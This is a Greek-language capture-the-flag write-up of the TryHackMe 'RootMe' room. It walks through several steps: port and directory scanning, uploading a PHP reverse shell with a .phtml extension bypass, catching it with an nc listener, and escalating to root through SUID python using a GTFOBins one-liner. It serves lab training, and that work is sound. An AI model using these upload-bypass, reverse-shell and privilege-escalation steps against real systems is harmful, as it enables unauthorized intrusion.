RootMe THM Writeup

Task 1

Πριν ξεκινήσουμε βεβαιωθείτε πως έχετε συνδεθεί με το δίκτυο του TryHackMe εκτελόντας στο τερματικό την εντολή :

sudo openvpn /μονοπάτι/μέχρι/αρχείο/που/τελειώνει/σε/.ovpn

Έπειτα πατάμε το κουμπί “Start Machine” και έτσι απαντήσαμε στην πρώτη ερώτηση!

Task 2

Γενικότερα πριν κάνουμε οποιαδήποτε επίθεση, πάντα πρέπει να ξέρουμε όσες πιο πολλές πληροφορίες γίνεται για το “θύμα”. Έτσι θα ξεκινήσουμε ανακαλύπτωντας όλες τις ανοικτές θύρες του θύματος, με την εντολή

nmap -sC -sV - A [IP_ΜΗΧΑΝΗΣ]

Nmap Results

Παρατηρούμε πως το θύμα έχει ανοιχτές τις θύρες 22 και 80, όπου στην 22 τρέχει, όπως συνήθως το ssh και στην 80 ως συνήθως ενας http server, δηλαδή ένα site, το οποίο τρέχει την έκδοση Apache 2.4.29. Πριν επισκεφτούμε το site και προχωρήσουμε μπορούμε ήδη να απαντήσουμε στα πρώτα 3 ερωτήματα του Task 2.

Scan the machine, how many ports are open?

Απάντηση : 2
(οι θύρες 22 και 80)

What version of Apache is running?

Απάντηση : 2.4.29

What service is running on port 22?

Απάντηση : SSH

Έπειτα επισκεπτόμαστε το site γράφοντας την ip [IP_ΜΗΧΑΝΗΣ] στο URL. Ανοίγοντας το site, βλέπουμε μία απλή στατική σελίδα χωρίς κάτι που μπορούμε να κάνουμε εναντίον της. Το ίδιο και με το source code. Ο developer φαίνεται να μην άφησε καταλάθος κάτι που μπορούμε να εκμεταλλευτούμε.


Όπως κάναμε πριν με το θύμα, έτσι και τώρα πρέπει να αποκτήσουμε περαιτέρω πληροφορίες για το site αυτό. Αυτό που μας ενδιαφέρει είναι αν υπάρχει κάποιο κρυμμένο directory. Αυτό θα το μάθουμε με το πρόγραμμα gobuster, όπως μας καθοδηγεί και το ίδιο το room.

Έτσι θα βεβαιωθούμε πως το έχουμε κατεβασμένο και θα τρέξουμε την εντολή:

gobuster dir - u http://[IP_ΜΗΧΑΝΗΣ] -w /Μονοπάτι/για/το/αρχείο/common.txt

Μην ανησυχείτε, θα βρείτε το αρχείο common.txt συνημμένο στο τέλος του άρθρου. Είναι ένα αρχείο με τα πιο σύνηθη directory.

Τρέχοντας την εντολή, παρατηρούμε πως όντως υπάρχουν κάποια κρυμμένα, για εμάς, directory. Ποιά όμως μας κάνουν εντύπωση;

Gobuster Results

Σίγουρα τα directory: /panel και /uploads


Ας τα επισκεφτούμε λοιπόν

/panel /uploads

Διάνα!


Όχι μόνο υπάρχει μία σελίδα (/panel) στην οποία μπορούμε να ανεβάσουμε ότι αρχείο θέλουμε, αλλά υπάρχει και μια (/uploads) στην οποία μπορούμε και να δούμε αν πέτυχε το upload μας αλλά και να τρέξουμε το upload μας!!
Φαντάζομαι ξέρετε τι σημαίνει αυτό, ας ψάξουμε έναν τρόπο ένα αρχείο να μας δώσει πρόσβαση στον server από τον υπολογιστή μας.
Πρώτα ας απαντήσουμε όμως στο τελευταίο ερώτημα του Task 2

What is the hidden directory?

Απάντηση: /panel/

Task 3

Το TryHackMe μας βοηθάει λέγοντας μας πως πρέπει να βρούμε ενα PHP Reverse Shell. Σε απλή μετάφραση, ένα αρχείο .php το οποίο όταν το τρέξει το θύμα (ή το τρέξουμε εμείς στην θέση του μέσω του server πχ) θα αποκτήσουμε σύνδεση στον server από τον υπολογιστή μας.


Με μια απλή αναζήτηση λοιπόν μπορούμε να βρούμε το παρακάτω link που προέρχεται απο το Github και περιέχει ένα PHP Reverse Shell : https://github.com/pentestmonkey/php-reverse-shell
Για να το κατεβάσουμε στον υπολογιστή μας, εκτελούμε την εντολή:
git clone https://github.com/pentestmonkey/php-reverse-shell

Μόλις κατεβεί, κάνουμε :

cd php-reverse-shell

και μετά

mousepad php-reverse-shell.php

Όταν ανοίξει το αρχείο στον επεξεργαστή κειμένου θα ψάξουμε αν υπάρχει κάτι που πρέπει να αλλάξουμε για να δουλέψει σωστά το αρχείο.


Στις γραμμές 49 και 50, όπως παρατηρείτε ο Developer μας έχει επισημάνει πως πρέπει να βάλουμε την IP μας και την Θύρα στην οποία θα περιμένει ο υπολογιστής μας την σύνδεση με τον server. Έτσι οι δύο γραμμές θα γίνουν :
$ip = '[IP_TRYHACKME]';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

Στην γραμμή 49 θα βάλετε την δική σας IP του THM την οποία μπορείτε να δείτε πάνω πάνω στο site του TryHackMe

Τώρα που το αρχείο μας είναι έτοιμο ήρθε η ώρα να το ανεβάσουμε, να το τρέξουμε και να πάρουμε πρόσβαση στον server. Για να είμαστε έτοιμοι θα ξεκινήσουμε ένα listener το όποιο θα ακούει στο port 1234 το οποίο ορίσαμε στο αρχείο και θα περιμένει αίτημα πρόσβασης. Μόλις τρέξουμε το αρχείο θα επικοινωνήσουν τα δύο μεταξύ τους και έτσι θα είμαστε μέσα στον server.

nc -lvnp 1234

Έτσι πάμε στο panel και ανεβάζουμε το php-reverse-shell.php

Panel Error

Μας βγάζει ένα error, το οποίο αν το μεταφράσουμε σημαίνει πως δεν επιτρέπονται τα αρχεία php… Και τι κάνουμε τώρα;


Η PHP υποστηρίζει πολλά είδη αρχείων και έμεις θα επιλέξουμε πχ το phtml ελπίζοντας πως o developer θα ήταν αφελής και ξέχασε να μην το επιτρέψει.
Έτσι αλλάζουμε το όνομα του αρχείου από php-reverse-shell.php σε php-reverse-shell.phtml και δοκιμάζουμε ξανά να ανεβάσουμε το αρχείο
mv php-reverse-shell.php php-reverse-shell.phtml

Panel Success

Διάνα!


Τα καταφέραμε. Τώρα πάμε στο /uploads και πατάμε το όνομα του αρχείου. ΠΡΟΣΕΞΤΕ ΝΑ ΈΧΕΤΕ ΞΕΚΙΝΉΣΕΙ ΤΟ LISTENER.

Μην νομίζετε ότι δεν δούλεψε επειδή το site δείχνει ότι φορτώνει. Απλά ανοίξτε το τερματικό στο οποίο είχατε εκκινήσει το listener και θα δείτε πως είμαστε μέσα!


Πρώτο βήμα να δούμε ποιός χρήστης είμαστε και τι αρχεία υπάρχουν.
Έτσι τρέχουμε τις εντολές:
whoami
ls -la

Βλέπουμε πως είμαστε ο www-data και πως στο συγκεκριμένο directory δεν υπάρχει κάποια άξια πληροφορία και γιαυτό θα ψάξουμε για τον φάκελο www ο οποίος βρίσκεται μεσα στο var αρα θα κανουμε cd var/www. Όταν κάνουμε ls εκεί θα δούμε πως υπάρχει το αρχείο user.txt το οποίο είναι και αυτό που ψάχνουμε σύμφωνα και με το task. Έτσι θα το ανοίξουμε με ενα cat user.txt και θα αντιγράψουμε το περιεχόμενο στην απάντηση

user.txt

Απάντηση: το αποτέλεσμα του cat user.txt

Task 4

Τώρα θα ακολουθήσουμε το hint του TryHackMe και θα τρέξουμε την εντολή

find / -user root -perm /4000

Παρατηρώντας τα binaries (/usr/bin/[ΟΝΟΜΑ_BINARY]) ένα είναι αυτό που μας κάνει εντύπωση : αυτό με όνομα /usr/bin/python.

Find Results

Μας κάνει εντύπωση γιατί ακριβώς η python είναι μία γλώσσα προγραμματισμού κάτι που σίγουρα μπορεί να μας επιτρέψει να γίνουμε admin (aka root) στον server.

Search for files with SUID permission, which file is weird?

Απάντηση /usr/bin/python

Έτσι πάμε στο https://gtfobins.github.io/ , το οποίο είναι ένα site με διάφορες εντολές που μπορούν από απλό χρήστη να σε κάνουν root, εκμεταλλευόμενα ευπάθειες σαν αυτή. Ψάχνοντας python βρίσκουμε μπροστά μας την παρούσα εντολή την οποία και τρέχουμε:

gtfobins

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Τώρα αν κάνουμε:

whoami

θα δούμε πως είμαστε ο χρήστης root κάτι που σημαίνει ότι έχουμε πρόσβαση σε όλα τα αρχεία. Για να ολοκληρώσουμε το room πρέπει να βρούμε το αρχείο root.txt το οποίο βρίσκεται ως συνήθως στον φάκελο root. Έτσι κάνουμε:

cd root
cat root.txt

Τα καταφέραμε!

root.txt

Απάντηση: το αποτέλεσμα του cat root.txt

common.txt

Published at Aug 24, 2023

Return
™2022 - Present, AlexBlackeyed